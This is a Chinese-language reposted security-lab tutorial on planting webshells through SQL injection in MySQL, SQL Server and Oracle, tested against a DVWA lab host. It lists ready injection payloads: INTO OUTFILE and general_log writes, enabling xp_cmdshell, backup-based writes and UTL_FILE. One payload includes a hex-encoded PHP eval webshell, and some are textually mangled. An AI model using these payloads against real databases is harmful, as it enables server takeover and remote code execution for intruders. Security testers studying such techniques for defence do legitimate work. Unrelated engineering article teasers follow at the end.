百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术资源 > 正文

美创安全实验室 | 三大数据库写入WebShell的姿势总结

moboyou 2025-03-31 15:31 16 浏览

WebShell作为黑客常用来提权的工具,通常出现在存在任意文件上传漏洞的网站中,但如果遇到一个没有任何的上传点的网站,想通过文件上传漏洞获得权限显然就行不通了,但所谓"山穷水尽疑无路、柳暗花明又一村",此时一个SQL注入点摆在你眼前,你能否珍惜这来之不易的机会,拿到WebShell呢?


本期美创安全实验室将带大家了解,如何通过数据库获取网站的WebShell。


MySQL写入WebShell

1必备条件

想要成功向MySQL写入WebShell需要至少满足以下4个条件:


① 数据库的当前用户为ROOT或拥有FILE权限;


② 知道网站目录的绝对路径;


③ PHP的GPC参数为off状态;


④ MySQL中的secure_file_priv参数不能为NULL状态。

注意:关于其中第4点,secure_file_priv参数是MySQL用来限制数据导入和导出操作的效果,如果这个参数被设为了一个目录名,那么MySQL会允许仅在这个目录中可以执行文件的导入和导出,例如LOAD DATA、SELECT。。。INTOOUTFILE、LOAD_FILE()等。如果这个参数为NULL,MySQL会禁止导入导出操作,但是这只是意味着通过outfile方法写入WebShell是无法成功的,但是通过导出日志的方法是可以的。


2写入方法

向MySQL写入WebShell的方式一共有两种,分别是:1、使用outfile方法,2、基于log日志写入法。


Outfile方法其实是Mysql提供的一个用来写入文件的函数,当我们可以控制写入的文件内容以及文件的保存路径时,我们就可以达到传入WebShell的目的。当我们可以使用union查询时,我们构造一个如下语句,就可以达到效果:


Union select "这里是WebShell" into outfile "Web目录";

当我们无法使用union时,还有一些其他方法也可以实现(利用分隔符写入):


?id=1 INTO OUTFILE '物理路径' lines terminatedby (这里是WebShell)#


?id=1 INTO OUTFILE '物理路径' fields terminatedby (这里是WebShell)#


?id=1 INTO OUTFILE'物理路径'columns terminatedby (这里是WebShell)#


?id=1 INTO OUTFILE '物理路径' lines startingby (这里是WebShell)#

基于log日志写入的方法其实是先将日志文件的导出目录修改成Web目录,然后执行了一次简单的WebShell代码查询功能,此时日志文件记录了此过程,这样在Web目录下的日志文件就变成了WebShell。例如,我们先设置日志文件的导出目录:set global general_file = 'Web目录';然后执行一遍:select "WebShell代码";即可。


3使用OUTFILE方法写入Webshell

(1)实验前准备:

检查secure_file_priv是否开启:show variables like'%secure%';确认其不为NULL。有值或为空都可以。(若是为NULL,则需要到my.ini文件中手动修改)



检查当前用户是否具备写权限:selectuser,file_priv from mysql.user;确认其用户的值为Y即代表此用户拥有文件写入权限。


(2)确认注入点

http:/192.168.20.35/DVWA-master/vulnerabilities/sqli/?id=1;

参数ID存在SQL注入漏洞

http:/192.168.20.35/DVWA-master/vulnerabilities/sqli/?id=1'union select version(),user() #



(3)利用outfile写入shell文件


若secure_file_priv为空,则可以向任意目录写入文件,若secure_file_priv有值,则只能向该值指向的目录写入文件,因为我们的值为空,所以就任意目录写入,但因为还需要工具进行连接,所以最好放在网站的根目录下。


PAYLOAD(使用Union查询注入):1'unionselect1,"" into outfile"F:\\PhpStudy20180211

\\PHPTutorial\\WWW\\Tp.php" #

PAYLOAD(不用Union):1'intooutfile"F:\\Php、Study2018021\\PHPTutorial\\WWW\\Tp.php" fields terminated by "" #



文件已被写入到网站的根目录下,接下来就可以使用连接工具(蚁剑、菜刀、冰蝎等)进行连接了。


4使用导入日志的方法写入Webshell

(1)实验前准备:


检查当前mysql下log日志是否开启,以及log的默认地址在哪里:show variables like '%general%';



将log日志开启,并设置日志的写入位置:

Set globalgeneral_log = on;

Set globalgeneral_log_file = 'F:/test.php';



(2)使用写入日志再读取的方法


直接在SQL注入点,使用查询语句,添加WebShell代码,如下:

Select '';

此时这段WebShell代码已经被记录到日志文件中了,接下就可以使用连接工具进行连接了。



SqlServer写入WebShell

1、 必备条件

① 有相应的权限db_owner


② 获得Web目录的绝对路径


2、写入方法

向MSSQL写入WebShell的方法一共有种:利用xp_cmdshell命令、差异备份写入shell、log备份写入shell。


3、使用XP_cmdshell写入Webshell

(1)实验前准备:


首先我们需要查找网站目录的绝对路径,查找绝对路径的方法有5种:

通过报错信息查找;


通过目录爆破猜解;


通过旁站的目录确定;


通过存储过程来搜索;


通过读取配置文件查找。

其中通过存储过程来搜索,SQLServer提供了两种方法:xp_cmdshell和xp_dirtree

execute master..xp_dirtree 'c:'; 可以查出所有c:\下的文件、目录、子目录。



在真实环境中时,我们执行execute可能并不能得到回显信息,但我们可以在注入点处新建一张表,然后将xp_dirtree查询到的信息插入其中,再查询这张表即可得相应的绝对路径了。

Xp_cmdshell是一个更为有效的查询绝对路径的函数,但是目前已经被SQLServer默认关闭了,但我们可以使用如下命令启用这个选项。


EXEC sp_configure 'show advanced options',1;//允许修改高级参数RECONFIGURE;

EXEC sp_configure 'xp_cmdshell',1; //打开xp_cmdshell扩展RECONFIGURE;--


开启了xp_cmsshell之后我们就可以执行CMD命令了,例如:

for /r c:\ %i in (1*.php) do @echo %i

就可以查询c:\目录下的所有符合1*.php的文件,同理,在实际应用中,我们也是新建一个表,并将xp_cmdshell查询到的信息插入后,再次查询即可。



(2)使用xp_cmdshell写入WebShell


我们可以通过xp_cmdshell执行系统CMD命令,例如我们可以使用CMD中的echo命令,将WebShell的代码写入到网站目录下,所以我们必须提前知道Web目录的绝对路径。

PAYLOAD:1';execmaster..xp_cmdshell'echo^>F:\\PhpStudy20180211\\PHPTutorial\\WWW\\cmd.php';


(3)使用差异备份写入WebShell


首先对某一数据库进行备份。

PAYLOAD:id = 1';backup database 库名 to disk = 'F:\\PhpStudy20180211\\PHPTutorial\\WWW\\back.bak';


其次将WebShell代码写入数据库中,

PAYLOAD:id = 1'; create table cybk([cmd] [image]);#创建一个新表

PAYLOAD:id=1';insertintocybk(cmd)

vaues(
0x3C3F706870206576616C28245F504F53545B2770617373275D293B203F3E);#将WebShell的代码转换成ASCII码

最后将此数据库进行差异备份,这样其中就会包含刚刚写入的WebShell代码。

PAYLOAD:id=1'; backup database library todisk='F:\\PhpStudy20180211\\PHPTutorial\\WWW\\cybk.php' WITHDIFFERENTIAL,FORMAT;


(4)使用log备份写入WebShell

使用Log备份写入WebShell的要求是他的数据库已经备份过,而且要选择完整模式的恢复模式,相比较差异备份而言,使用Log备份文件会小的多。


首先需要将数据库设置为完整恢复模式,然后创建一个新表,将WebShell用Ascii编码后写入其中,然后将该数据库的日志信息导出到Web目录,即可。


可在Web目录下找到导出的日志文件,其中包含了WebShell的代码。


ORACLE写入WebShell

1、必备条件

① 有DBA权限


② 获得Web目录的绝对路径


2、写入方法

向Oracle写入WebShell的方法可以使用:文件访问包


3、使用文件访问包方法写入Webshell

首先我们需要创建一个ORACLE的目录对象指向某一路径,在真实环境中需要指向Web目录下,在这里我们将其指向/home/oracle这一路径下。create or replace directory IST0_DIR as '/home/oracle';


创建好后,我们需要对其进行一下授权过程,让其能够顺利的写入WebShell代码。

grant read, write on directory IST0_DIR tosystem;

然后写入文件,定义变量类型为utl_file.file_type,然后将WebShell的代码写入此文件中。

直接访问该文件,即可查看到其中的WebShell代码,如果这个文件是放置在Web目录下的,那么就可以被攻击者成功利用。


本文转自杭州美创科技有限公司公众号,如需二次转载,请咨询marketing@mchz.com.cn。

相关推荐

声学EI要完稿?十步速写法

【推荐会议】国际声学与振动会议(ICAV)会议号:CFP23112A截稿时间:2025年4月20日召开时间/地点:2025年8月15-17日·新加坡论文集上线:会后3个月提交EiComp...

结构力学!EI会议图表规范秘籍

推荐会议:国际结构与材料工程进展大会(ISME2026)会议编号:EI#73521截稿时间:2026年3月10日召开时间/地点:2026年8月15-17日·德国柏林论文集上线:会后4...

傅里叶级数物理意义的直观理解:利用傅里叶级数逼近方波信号

上篇文章将向大家介绍频谱的概念,对傅里叶级数、傅里叶积分、傅里叶变换进行了数学的推导,并解释了它们各自的物理意义。推导过程见我的上一篇文章:频谱分析——频谱概念(傅里叶变换、级数、积分及物理意义)如下...

通过对航空发动机整机振动进行分析,有何控制方法?

前言针对航空发动机整机振动问题的复杂性和多样性,以整机振动的振源分析为出发点,总结国内外关于转子系统故障、气流激振、轴承故障、齿轮故障和结构局部共振等引起的整机振动的研究情况。结合航空发动机整机结构动...

MATLIB中使用PCA

主成分分析PCA(PrincipalComponentsAnalysis),奇异值分解SVD(Singularvaluedecomposition)是两种常用的降维方法降维致力于解决三类问题:降维...

数据处理|软件:让科研更简单2

书接上回,继续介绍免费的数据处理软件。eGPS一款热图绘制专用软件,热图就是用颜色代表数字,让数据呈现更直观,对比更明显。优点:小巧方便,基本功能齐全,包括数据转换、聚类分析、颜色调整等等缺点:常见的...

电力系统常用的通讯协议及其在Speedgoat系统中的实现

在电力系统中,IEC61850协议、DNP3协议、ModbusTCP广泛应用于远程终端设备(RTU)、智能电子设备(IED)交互以及监控和数据采集(SCADA)系统。一、IEC61850协议IE...

电子工程师的常用仿真软件

不知道从事电子行业的工程师,有没有使用模拟仿真工具,仿真软件网上又有很多,初学者,可能只知道Multisim和Proteus。一般Multisim适合在学习模拟电路和电路分析原理课程时使用,便于理解电...

技术论文|异结构混沌系统的组合同步控制及电路实现

欢迎引用[1]李贤丽,马赛,樊争先,王壮,马文峥,于婷婷.异结构混沌系统的组合同步控制及电路实现[J].自动化与仪器仪表,2022,No.276(10):80-84.DOI:10.14016/j.cn...

现场︱某110KV主变事故过程仿真分析

三峡电力职业学院、河南省电力公司洛阳供电公司的研究人员李莉、任幼逢、徐金雄、王磊,在2016年第6期《电气技术》杂志上撰文,针对某110KV变电站主变差动保护跳闸事故,结合事故相关检测数据,通过MAT...

光伏发电系统篇:单级式并网系统实时仿真

在全球积极推动清洁能源转型的大背景下,光伏发电作为重要的可再生能源利用方式,得到了广泛关注和迅猛发展。目前常用的光伏并网及光伏电站主要拓扑结构有单级式和双级式。相较于传统的多级式系统,单级式光伏发电并...

光伏发电系统篇:三电平并网逆变器实时仿真

一、三电平并网逆变器在能源转型加速的当下,分布式能源接入电网需求大增。三电平并网逆变器凭借低谐波、高功率密度等优势,有效提升电能转换效率,于新能源并网发电中担当关键角色。常见的三电平电路拓扑结构包括二...

自制3.5KW大功率逆变器,很简单,看过这个电路原理就懂了

前言拿下8000元奖金的项目,是什么水平?本项目经过联合湖南科技大学光伏逆变以及电力电子研究生团队共同探讨方案。项目成本:1200元,获得奖金:8000元!参加赛事:立创开源硬件平台_星火计划·外包赛...

圈内分享:电容式加速度计接口电路非线性建模与仿真设计

摘要:非线性是Sigma-Delta(ΣΔ)加速度计系统的关键指标之一。基于一个五阶ΣΔ加速度计结构,分析了其主要的非线性模块,在MATLAB中建立了整体结构的行为级模型,并利用根轨迹法进行了稳...

基于Matlab/Simulink建立一种Thevenin/RC电池模块仿真模型

本文以锂电池数学模型为基础,在Matlab/Simulink的仿真系统中,建立了一种Thevenin/RC电池模块仿真模型,通过实际工况试验,测试精度在允许误差范围内,为电池SOC/SOH研究提供了极...